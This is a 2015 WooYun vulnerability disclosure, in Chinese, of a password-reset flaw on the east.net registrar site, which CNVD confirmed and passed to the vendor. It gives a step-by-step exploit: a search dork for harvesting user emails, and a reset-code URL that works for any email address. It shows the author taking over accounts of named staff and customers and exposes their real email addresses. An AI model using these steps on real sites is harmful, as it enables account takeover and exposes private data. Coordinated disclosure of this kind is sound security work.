漏洞概要 关注数(24) 关注此漏洞
缺陷编号:wooyun-2015-0127387
漏洞标题:东方网景域名站重大漏洞导致随意重置他人账号密码(通杀所有企业,工作人员密码,附经典案例)
相关厂商:cncert国家互联网应急中心
漏洞作者: 0x 80
提交时间:2015-07-19 22:28
修复时间:2015-09-07 05:30
公开时间:2015-09-07 05:30
漏洞类型:设计缺陷/逻辑错误
危害等级:高
自评Rank:20
漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理
漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]
Tags标签: 无
漏洞详情
披露状态:
2015-07-19: 细节已通知厂商并且等待厂商处理中
2015-07-24: 厂商已经确认,细节仅向厂商公开
2015-08-03: 细节向核心白帽子及相关领域专家公开
2015-08-13: 细节向普通白帽子公开
2015-08-23: 细节向实习白帽子公开
2015-09-07: 细节向公众公开
简要描述:
东方网景域名站重大漏洞导致随意重置他人账号密码(通杀所有企业,工作人员密码,附经典案例)
理论上,只要我知道他的邮箱,他的密码任意被我改掉
附几个经典案例给大家
包括东方网景的工作人员额
详细说明:
inurl:www.east.net/user/showUserSuccess
这个案例我会说清楚的
一步一步来
通过这个,打开
http://www.east.net/user/showUserSuccess?email=caiym@tsinghua.org.cn
获取到第1个邮箱
这里我用BURP抓包,修改成我的激活邮件,失败了
这个网站的原理,我分析过,如果修改这里邮箱
那么,如果你的邮箱没在网络上注册,那么他会提示1个不存在该邮箱
后来我自己就注册了一个
同样发包,还是没有发到我的邮箱去
我们思路是,自己注册1个邮箱
这个地址是个关键
http://www.east.net/user/showUserSuccess?email=caiym@tsinghua.org.cn
如当前=caiym@tsinghua.org.cn 我们要改为他的密码
我们先给自己发重置密码
搭配我们自己的邮箱
http://www.east.net/user/showUserSuccess?email=466196038@qq.com
接着发送
这里重发1次就可以了
接着,我们在邮箱里找到我们邮箱密码重置CODE
这时候访问下
http://www.east.net/user/userForgetPassword?code=b0f47076c2df6d4d44296952099ce6ab&email=466196038%40qq.com
我发现1个很大的问题
他的CODE几乎是通用的
也就是说,这个KEY可以任何邮箱通用
比如现在到了重置密码这步了
我们看看
我们还记得我们要改掉谁的密码把
当然就是他:caiym@tsinghua.org.cn
我们先登录自己账号看看
由于是刚注册的,所以什么也没有
关键来了,我们要改掉caiym@tsinghua.org.cn的密码,那么就要配合这个通用CODE
组合下
http://www.east.net/user/userForgetPassword?code=b0f47076c2df6d4d44296952099ce6ab&email=caiym@tsinghua.org.cn
这样
我们就改为7788250cc
试试
注意
账号:caiym@tsinghua.org.cn
密码:7788250cc
登录看看
成功了,看看
一览无遗。
我们还可以发现一个地方
上个销售部的,很明显,CODE都是通用的,我们照样可以改掉它的
配合下
http://www.east.net/user/userForgetPassword?code=b0f47076c2df6d4d44296952099ce6ab&email=luguohe@east.net
同样改成7788250cc
登录看看
沦陷了吧~~
这里有三个邮箱
先来改客服部的support@east.net
试试
同样改成7788250cc
http://www.east.net/user/userForgetPassword?code=b0f47076c2df6d4d44296952099ce6ab&email=support@east.net
客服部沦陷了。。
==========================================================
再来改1个企业会员的
http://www.east.net/user/showUserSuccess?email=admin@cmmrchina.com
配合下
http://www.east.net/user/userForgetPassword?code=b0f47076c2df6d4d44296952099ce6ab&email=admin@cmmrchina.com
7788250zz改成这个
登录看看
又沦陷了~~~
漏洞证明:
http://www.east.net/user/userForgetPassword?code=b0f47076c2df6d4d44296952099ce6ab&email=(这里是通杀处,输入邮箱地址即可改掉)
修复方案:
验证过滤
版权声明:转载请注明来源 0x 80@乌云
漏洞回应
厂商回应:
危害等级:高
漏洞Rank:16
确认时间:2015-07-24 05:29
厂商回复:
CNVD确认并复现所述情况,已经由CNVD通过该域名注册服务商公开联系渠道,由其电话和邮件通报处置.
最新状态:
暂无